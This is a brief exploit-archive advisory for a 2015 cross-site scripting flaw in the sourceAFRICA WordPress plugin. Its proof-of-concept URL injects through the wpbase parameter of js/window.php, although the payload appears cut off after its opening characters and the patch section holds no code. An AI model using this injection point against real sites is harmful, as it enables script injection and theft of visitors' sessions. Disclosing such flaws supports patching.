###################### # Exploit Title : Wordpress sourceAFRICA Plugin Cross Site Scripting # Exploit Author : Ashiyane Digital Security Team # Vendor Homepage : https://wordpress.org/plugins/sourceafrica/ # Date: 2015-08-29 # Tested On : Elementary Os - Firefox # Software Link : https://downloads.wordpress.org/plugin/sourceafrica.zip # Version : 0.1.3 ###################### # Vulnerable Code: # File: js/window.php - Line 18-19 ###################### # POC : http://[URL]/[PATH]/wp-content/plugins/sourceafrica/js/window.php?wpbase="> ###################### # Patch: # File: js/window.php - Line 18-19 ###################### # Discovered By : Ehsan Hosseini ######################